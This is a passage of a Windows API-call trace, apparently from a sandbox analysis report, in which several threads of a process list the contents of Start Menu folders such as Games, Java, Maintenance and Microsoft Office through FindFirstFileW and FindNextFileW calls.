ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x1937f4d5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Firewall with Advanced Security.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0141.671] wcscmp (_String1="Windows Firewall with Advanced Security.lnk", _String2=".") returned 1 [0141.671] wcscmp (_String1="Windows Firewall with Advanced Security.lnk", _String2="..") returned 1 [0141.671] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell Modules.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0141.672] wcscmp (_String1="Windows PowerShell Modules.lnk", _String2=".") returned 1 [0141.672] wcscmp (_String1="Windows PowerShell Modules.lnk", _String2="..") returned 1 [0141.672] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell Modules.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0141.672] FindClose (in: hFindFile=0x9421b0 | out: hFindFile=0x9421b0) returned 1 [0141.672] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90fba8) returned 1 [0141.672] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ebed8) returned 1 [0141.672] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fd5b0) returned 1 Thread: id = 1941 os_tid = 0xbf4 [0141.676] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x8f7b48 [0141.676] wcscpy (in: _Dest=0x8f7b48, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games" [0141.676] wcscat (in: _Dest=0x8f7b48, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\" [0141.676] wcscat (in: _Dest=0x8f7b48, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*" [0141.676] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x90fba8 [0141.676] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*", lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9421b0 [0141.677] wcscmp (_String1=".", _String2=".") returned 0 [0141.677] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.680] wcscmp (_String1="..", _String2=".") returned 1 [0141.680] wcscmp (_String1="..", _String2="..") returned 0 [0141.680] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8e194aab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8e194aab, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0141.680] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0141.680] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0141.680] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db22b28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3db22b28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3db94f49, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer.lnk", cAlternateFileName="GAMEEX~1.LNK")) returned 1 [0141.680] wcscmp (_String1="GameExplorer.lnk", _String2=".") returned 1 [0141.680] wcscmp (_String1="GameExplorer.lnk", _String2="..") returned 1 [0141.680] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db22b28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3db22b28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3db94f49, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer.lnk", cAlternateFileName="GAMEEX~1.LNK")) returned 0 [0141.680] FindClose (in: hFindFile=0x9421b0 | out: hFindFile=0x9421b0) returned 1 [0141.680] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90fba8) returned 1 [0141.680] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7b48) returned 1 [0141.680] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99ce88) returned 1 Thread: id = 1942 os_tid = 0xbf8 [0141.682] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x99ce88 [0141.682] wcscpy (in: _Dest=0x99ce88, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java" [0141.683] wcscat (in: _Dest=0x99ce88, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\" [0141.683] wcscat (in: _Dest=0x99ce88, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*" [0141.683] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x90fba8 [0141.683] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*", lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9421b0 [0141.684] wcscmp (_String1=".", _String2=".") returned 0 [0141.684] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.684] wcscmp (_String1="..", _String2=".") returned 1 [0141.684] wcscmp (_String1="..", _String2="..") returned 0 [0141.684] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762ca4e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="About Java.lnk", cAlternateFileName="ABOUTJ~1.LNK")) returned 1 [0141.684] wcscmp (_String1="About Java.lnk", _String2=".") returned 1 [0141.684] wcscmp (_String1="About Java.lnk", _String2="..") returned 1 [0141.684] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762ca4e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Check For Updates.lnk", cAlternateFileName="CHECKF~1.LNK")) returned 1 [0141.684] wcscmp (_String1="Check For Updates.lnk", _String2=".") returned 1 [0141.684] wcscmp (_String1="Check For Updates.lnk", _String2="..") returned 1 [0141.684] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762a4380, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762a4380, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configure Java.lnk", cAlternateFileName="CONFIG~1.LNK")) returned 1 [0141.684] wcscmp (_String1="Configure Java.lnk", _String2=".") returned 1 [0141.684] wcscmp (_String1="Configure Java.lnk", _String2="..") returned 1 [0141.684] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7591eb80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7591eb80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Help.lnk", cAlternateFileName="GETHEL~1.LNK")) returned 1 [0141.684] wcscmp (_String1="Get Help.lnk", _String2=".") returned 1 [0141.684] wcscmp (_String1="Get Help.lnk", _String2="..") returned 1 [0141.684] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758f8a20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x758f8a20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visit Java.com.lnk", cAlternateFileName="VISITJ~1.LNK")) returned 1 [0141.684] wcscmp (_String1="Visit Java.com.lnk", _String2=".") returned 1 [0141.684] wcscmp (_String1="Visit Java.com.lnk", _String2="..") returned 1 [0141.684] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758f8a20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x758f8a20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visit Java.com.lnk", cAlternateFileName="VISITJ~1.LNK")) returned 0 [0141.684] FindClose (in: hFindFile=0x9421b0 | out: hFindFile=0x9421b0) returned 1 [0141.685] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90fba8) returned 1 [0141.685] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99ce88) returned 1 [0141.685] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99cf08) returned 1 Thread: id = 1943 os_tid = 0xbfc [0141.687] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e74d8 [0141.687] wcscpy (in: _Dest=0x8e74d8, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" [0141.687] wcscat (in: _Dest=0x8e74d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\" [0141.687] wcscat (in: _Dest=0x8e74d8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*" [0141.687] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x90fba8 [0141.687] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9421b0 [0141.688] wcscmp (_String1=".", _String2=".") returned 0 [0141.688] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.688] wcscmp (_String1="..", _String2=".") returned 1 [0141.688] wcscmp (_String1="..", _String2="..") returned 0 [0141.688] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a1030d3, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a1030d3, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8a1030d3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup and Restore Center.lnk", cAlternateFileName="BACKUP~1.LNK")) returned 1 [0141.688] wcscmp (_String1="Backup and Restore Center.lnk", _String2=".") returned 1 [0141.688] wcscmp (_String1="Backup and Restore Center.lnk", _String2="..") returned 1 [0141.688] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a77447, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89a77447, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89a77447, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Create Recovery Disc.lnk", cAlternateFileName="CREATE~1.LNK")) returned 1 [0141.688] wcscmp (_String1="Create Recovery Disc.lnk", _String2=".") returned 1 [0141.688] wcscmp (_String1="Create Recovery Disc.lnk", _String2="..") returned 1 [0141.688] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec13fc0c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec13fc0c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0141.688] wcscmp (_String1="Desktop.ini", _String2=".") returned 1 [0141.688] wcscmp (_String1="Desktop.ini", _String2="..") returned 1 [0141.688] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab46fc5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab46fc5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remote Assistance.lnk", cAlternateFileName="REMOTE~1.LNK")) returned 1 [0141.688] wcscmp (_String1="Remote Assistance.lnk", _String2=".") returned 1 [0141.688] wcscmp (_String1="Remote Assistance.lnk", _String2="..") returned 1 [0141.688] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab46fc5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab46fc5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remote Assistance.lnk", cAlternateFileName="REMOTE~1.LNK")) returned 0 [0141.688] FindClose (in: hFindFile=0x9421b0 | out: hFindFile=0x9421b0) returned 1 [0141.688] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90fba8) returned 1 [0141.688] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e74d8) returned 1 [0141.688] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6758) returned 1 Thread: id = 1944 os_tid = 0x73c [0141.689] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0x8ebed8 [0141.689] wcscpy (in: _Dest=0x8ebed8, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" [0141.689] wcscat (in: _Dest=0x8ebed8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\" [0141.689] wcscat (in: _Dest=0x8ebed8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*" [0141.689] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x90fba8 [0141.689] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*", lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9421b0 [0141.690] wcscmp (_String1=".", _String2=".") returned 0 [0141.690] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.690] wcscmp (_String1="..", _String2=".") returned 1 [0141.690] wcscmp (_String1="..", _String2="..") returned 0 [0141.690] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780122b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780122b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb67, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Access 2010.lnk", cAlternateFileName="MICROS~1.LNK")) returned 1 [0141.690] wcscmp (_String1="Microsoft Access 2010.lnk", _String2=".") returned 1 [0141.690] wcscmp (_String1="Microsoft Access 2010.lnk", _String2="..") returned 1 [0141.691] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb87, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Excel 2010.lnk", cAlternateFileName="MICROS~2.LNK")) returned 1 [0141.691] wcscmp (_String1="Microsoft Excel 2010.lnk", _String2=".") returned 1 [0141.691] wcscmp (_String1="Microsoft Excel 2010.lnk", _String2="..") returned 1 [0141.691] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7805e570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7805e570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft InfoPath Designer 2010.lnk", cAlternateFileName="MIA4FF~1.LNK")) returned 1 [0141.691] wcscmp (_String1="Microsoft InfoPath Designer 2010.lnk", _String2=".") returned 1 [0141.691] wcscmp (_String1="Microsoft InfoPath Designer 2010.lnk", _String2="..") returned 1 [0141.691] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7805e570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7805e570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft InfoPath Filler 2010.lnk", cAlternateFileName="MICROS~4.LNK")) returned 1 [0141.691] wcscmp (_String1="Microsoft InfoPath Filler 2010.lnk", _String2=".") returned 1 [0141.691] wcscmp (_String1="Microsoft InfoPath Filler 2010.lnk", _String2="..") returned 1 [0141.691] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2010 Tools", cAlternateFileName="MICROS~1")) returned 1 [0141.691] wcscmp (_String1="Microsoft Office 2010 Tools", _String2=".") returned 1 [0141.691] wcscmp (_String1="Microsoft Office 2010 Tools", _String2="..") returned 1 [0141.691] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc4) returned 0x938cb8 [0141.691] wcscpy (in: _Dest=0x938cb8, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" [0141.691] wcscat (in: _Dest=0x938cb8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\" [0141.691] wcscat (in: _Dest=0x938cb8, 